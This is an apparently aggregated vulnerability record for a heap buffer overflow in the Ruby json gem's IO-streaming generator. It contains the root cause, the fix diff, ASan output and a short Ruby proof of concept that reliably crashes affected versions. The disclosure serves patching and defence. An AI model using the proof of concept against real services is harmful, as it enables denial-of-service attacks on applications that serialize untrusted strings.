{"id":"CVE-2026-54696","aliases":["CVE-2026-54696","GHSA-x2f5-4prf-w687"],"related":[],"kind":"vulnerability","state":"published","title":"Ruby JSON: JSON generator heap buffer overflow when streaming to an IO","summary":"Ruby JSON is a JSON implementation for Ruby. Versions 2.9.0 through 2.19.8 are vulnerable to heap buffer overflow when the JSON generator is provided with an oversized streamed object. When streaming to an IO JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an\nattacker-controlled string near 16 KB. Exploitation would result in a reliable process crash/denial of service. This issue has been fixed in version 2.19.9.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Ruby JSON is a JSON implementation for Ruby. Versions 2.9.0 through 2.19.8 are vulnerable to heap buffer overflow when the JSON generator is provided with an oversized streamed object. When streaming to an IO JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an\nattacker-controlled string near 16 KB. Exploitation would result in a reliable process crash/denial of service. This issue has been fixed in version 2.19.9.","source":"cvelist"},{"lang":"en","text":"### Summary\n\n`JSON.dump(obj, io)` and `JSON::State#generate(obj, io)` can write past the\ninternal JSON generator buffer when a streamed object contains an\nattacker-controlled string near 16 KB. The issue is a heap out-of-bounds write\nin the IO-streaming path and is demonstrated as a reliable process crash /\ndenial of service.\n\nThis was triaged on HackerOne as report #3785370. The issue was confirmed there\nand I was asked to open it here.\n\n### Details\n\nRoot cause is in `ext/json/fbuffer/fbuffer.h`, `fbuffer_do_inc_capa()`.\n\nOn the IO path, the buffer is grown to `FBUFFER_IO_BUFFER_SIZE` (16383), but the\nearly return checks total capacity instead of remaining capacity:\n\n```c\nif (RB_UNLIKELY(fb->io)) {\n    if (fb->capa < FBUFFER_IO_BUFFER_SIZE) {\n        fbuffer_realloc(fb, FBUFFER_IO_BUFFER_SIZE);\n    } else {\n        fbuffer_flush(fb);\n    }\n\n    if (RB_LIKELY(requested < fb->capa)) {\n        return;\n    }\n}\n```\n\nIf `fb->len` already contains JSON syntax bytes, and a string flush has\n`16383 - fb->len <= requested < 16383`, this check returns even though there is\nnot enough space left. `fbuffer_append_reserved()` then writes past the buffer:\n\n```c\nMEMCPY(fb->ptr + fb->len, newstr, char, len);\n```\n\nThe minimal fix is to compare against the remaining capacity:\n\n```diff\n-        if (RB_LIKELY(requested < fb->capa)) {\n+        if (RB_LIKELY(requested <= fb->capa - fb->len)) {\n             return;\n         }\n```\n\n### PoC\n\n```ruby\nrequire \"json\"\nrequire \"stringio\"\n\nio = StringIO.new\nbig = \"a\" * 16385\nbig[16382] = '\"'          # escapable byte near the buffer boundary\n\nJSON.dump([big], io)\n```\n\nVerified results:\n\n```text\nRuby 4.0.5 / bundled json 2.18.0:\nmalloc(): invalid size (unsorted)\n.../json/common.rb:956: [BUG] Aborted\n\nruby/ruby master c78418b7a0 / json 2.19.8 / ASan:\nheap-buffer-overflow WRITE of size 16382\n  fbuffer_append_reserved  ext/json/fbuffer/fbuffer.h:145\n  search_flush             ext/json/generator/generator.c:139\n  convert_UTF8_to_JSON     ext/json/generator/generator.c:231\n  raw_generate_json_string ext/json/generator/generator.c:922\n  cState_m_generate        ext/json/generator/generator.c:1891\n```\n\nControl: the same data through `JSON.dump([big])` without an IO argument returns\nnormally. The bug is specific to the IO-streaming path.\n\n### Impact\n\nA remote attacker can trigger a heap out-of-bounds write if they control a\nstring field that an application serializes through `JSON.dump(obj, io)` or\n`JSON::State#generate(obj, io)`. The demonstrated impact is reliable denial of\nservice. I am not claiming code execution or information disclosure.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Ruby JSON es una implementación de JSON para Ruby. Las versiones 2.9.0 a la 2.19.8 son vulnerables a desbordamiento de búfer de pila cuando el generador de JSON recibe un objeto transmitido sobredimensionado. Al transmitir a un IO, JSON.dump(obj, io) y JSON::State#generate(obj, io) pueden escribir más allá del búfer interno del generador de JSON cuando un objeto transmitido contiene una cadena controlada por el atacante cercana a 16 KB. La explotación resultaría en una caída de proceso fiable/denegación de servicio. Este problema ha sido corregido en la versión 2.19.9.","source":"nvd"}],"published":"2026-06-30T22:05:48.347Z","modified":"2026-10-25T17:10:00.197Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","score":3.7,"rating":"LOW"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","score":3.7,"rating":"LOW"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","score":3.7,"rating":"LOW"}],"cwes":["CWE-122","CWE-131","CWE-787"],"affected":[{"ranges":[{"version":">= 2.9.0, < 2.19.9","status":"affected"}],"vendor":"ruby","product":"json","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"2.9.0","status":"affected","fixed":"2.19.9"}],"ecosystem":"RubyGems","package":"json","purl":"pkg:gem/json","source":"ghsa"}],"references":[{"url":"https://github.com/ruby/json/security/advisories/GHSA-x2f5-4prf-w687","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/ruby/json/releases/tag/v2.19.9","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54696","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/ruby/json/commit/996bac686d64e4e3aaeae03b14a7f9ee9695ebdb","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/ruby/json","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/json/CVE-2026-54696.yml","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-07-01T13:20:35.390Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-54696","url":"https://www.cve.org/CVERecord?id=CVE-2026-54696","licence":"CVE Terms of Use","modified":"2026-07-01T13:20:56.931Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-x2f5-4prf-w687","url":"https://github.com/advisories/GHSA-x2f5-4prf-w687","licence":"CC-BY-4.0","modified":"2026-09-10T03:51:12.575Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-54696","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54696","licence":"Public domain","modified":"2026-10-25T17:10:00.197Z"}],"updatedAt":"2026-11-25T22:59:26.841Z","epss":{"score":0.00412,"percentile":0.37497,"date":"2026-12-01T12:00:22.000Z"}}